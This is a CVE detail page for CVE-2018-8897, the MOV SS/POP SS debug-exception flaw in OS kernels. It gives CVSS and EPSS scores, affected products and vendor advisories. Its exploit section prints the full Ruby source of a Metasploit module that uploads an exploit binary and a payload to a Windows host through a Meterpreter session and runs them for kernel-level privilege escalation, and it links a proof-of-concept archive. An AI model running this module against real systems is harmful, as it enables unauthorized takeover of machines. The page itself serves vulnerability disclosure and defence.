CVE-2018-8897 : Detail

CVE-2018-8897

7.8
/
High
16.75%V4
Local
2018-05-08
16h00 +00:00
2019-09-21
06h06 +00:00
CVE.org
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CVE Descriptions

A statement in the System Programming Guide of the Intel 64 and IA-32 Architectures Software Developer's Manual (SDM) was mishandled in the development of some or all operating-system kernels, resulting in unexpected behavior for #DB exceptions that are deferred by MOV SS or POP SS, as demonstrated by (for example) privilege escalation in Windows, macOS, some Xen configurations, or FreeBSD, or a Linux kernel crash. The MOV to SS and POP SS instructions inhibit interrupts (including NMIs), data breakpoints, and single step trap exceptions until the instruction boundary following the next instruction (SDM Vol. 3A; section 6.8.3). (The inhibited data breakpoints are those on memory accessed by the MOV to SS or POP to SS instruction itself.) Note that debug exceptions are not inhibited by the interrupt enable (EFLAGS.IF) system flag (SDM Vol. 3A; section 2.3). If the instruction following the MOV to SS or POP to SS instruction is an instruction like SYSCALL, SYSENTER, INT 3, etc. that transfers control to the operating system at CPL < 3, the debug exception is delivered after the transfer to CPL < 3 is complete. OS kernels may not expect this order of events and may therefore experience unexpected behavior when it occurs.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44697

Publication date : 2018-05-21 22h00 +00:00
Author : Can Bölük
EDB Verified : Yes

Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages. - KVA Shadowing should be disabled and the relevant security update should be uninstalled. - This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44697.zip
Exploit Database EDB-ID : 45024

Publication date : 2018-07-12 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q{ This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Peterson', # Original discovery (@nickeverdox) 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can Bölük <can1357>', # PoC 'bwatters-r7' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', 'References' => [ ['CVE', '2018-8897'], ['EDB', '44697'], ['BID', '104071'], ['URL', 'https://github.com/can1357/CVE-2018-8897/'], ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'False' } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('PATH', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', [false, 'The number of seconds to delay before executing the exploit', 3]) ]) end def setup super @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @payload_path = "#{temp_path}\\#{payload_name}" @exploit_path = "#{temp_path}\\#{exploit_name}" @payload_exe = generate_payload_exe end def validate_active_host begin host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_remote_path(path) unless directory?(path) fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def ensure_clean_destination(path) if file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end def ensure_clean_exploit_destination ensure_clean_destination(exploit_path) end def ensure_clean_payload_destination ensure_clean_destination(payload_path) end def upload_exploit local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end def upload_payload write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") end def execute_exploit sleep(datastore['EXECUTE_DELAY']) print_status("Running exploit #{exploit_path} with payload #{payload_path}") output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") vprint_status(output) end def exploit begin validate_active_host validate_target validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) ensure_clean_exploit_destination ensure_clean_payload_destination end end attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe attr_reader :temp_path attr_reader :payload_path attr_reader :exploit_path end

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 17.10

Configuraton 0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Redhat>>Enterprise_virtualization_manager >> Version 3.0

Configuraton 0

Citrix>>Xenserver >> Version 6.0.2

Citrix>>Xenserver >> Version 6.2.0

Citrix>>Xenserver >> Version 6.5

Citrix>>Xenserver >> Version 7.0

Citrix>>Xenserver >> Version 7.1

Citrix>>Xenserver >> Version 7.2

Citrix>>Xenserver >> Version 7.3

Citrix>>Xenserver >> Version 7.4

Configuraton 0

Synology>>Skynas >> Version -

Synology>>Diskstation_manager >> Version 5.2

Synology>>Diskstation_manager >> Version 6.0

Synology>>Diskstation_manager >> Version 6.1

Configuraton 0

Apple>>Mac_os_x >> Version To (excluding) 10.13.4

Configuraton 0

Xen>>Xen >> Version -

    Configuraton 0

    Freebsd>>Freebsd >> Version From (including) 11.0 To (excluding) 11.1

    References

    http://www.securitytracker.com/id/1040849
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.securityfocus.com/bid/104071
    Tags : vdb-entry, x_refsource_BID
    https://access.redhat.com/errata/RHSA-2018:1350
    Tags : vendor-advisory, x_refsource_REDHAT
    https://access.redhat.com/errata/RHSA-2018:1347
    Tags : vendor-advisory, x_refsource_REDHAT
    https://www.exploit-db.com/exploits/44697/
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securitytracker.com/id/1040866
    Tags : vdb-entry, x_refsource_SECTRACK
    https://access.redhat.com/errata/RHSA-2018:1346
    Tags : vendor-advisory, x_refsource_REDHAT
    https://access.redhat.com/errata/RHSA-2018:1348
    Tags : vendor-advisory, x_refsource_REDHAT
    https://access.redhat.com/errata/RHSA-2018:1354
    Tags : vendor-advisory, x_refsource_REDHAT
    https://www.debian.org/security/2018/dsa-4196
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.securitytracker.com/id/1040744
    Tags : vdb-entry, x_refsource_SECTRACK
    https://access.redhat.com/errata/RHSA-2018:1351
    Tags : vendor-advisory, x_refsource_REDHAT
    https://access.redhat.com/errata/RHSA-2018:1319
    Tags : vendor-advisory, x_refsource_REDHAT
    https://www.debian.org/security/2018/dsa-4201
    Tags : vendor-advisory, x_refsource_DEBIAN
    https://access.redhat.com/errata/RHSA-2018:1355
    Tags : vendor-advisory, x_refsource_REDHAT
    https://access.redhat.com/errata/RHSA-2018:1345
    Tags : vendor-advisory, x_refsource_REDHAT
    https://www.exploit-db.com/exploits/45024/
    Tags : exploit, x_refsource_EXPLOIT-DB
    https://access.redhat.com/errata/RHSA-2018:1349
    Tags : vendor-advisory, x_refsource_REDHAT
    https://access.redhat.com/errata/RHSA-2018:1352
    Tags : vendor-advisory, x_refsource_REDHAT
    https://access.redhat.com/errata/RHSA-2018:1318
    Tags : vendor-advisory, x_refsource_REDHAT
    https://www.kb.cert.org/vuls/id/631579
    Tags : third-party-advisory, x_refsource_CERT-VN
    https://access.redhat.com/errata/RHSA-2018:1524
    Tags : vendor-advisory, x_refsource_REDHAT
    http://www.securitytracker.com/id/1040861
    Tags : vdb-entry, x_refsource_SECTRACK
    https://access.redhat.com/errata/RHSA-2018:1353
    Tags : vendor-advisory, x_refsource_REDHAT
    https://usn.ubuntu.com/3641-2/
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.securitytracker.com/id/1040882
    Tags : vdb-entry, x_refsource_SECTRACK
    https://usn.ubuntu.com/3641-1/
    Tags : vendor-advisory, x_refsource_UBUNTU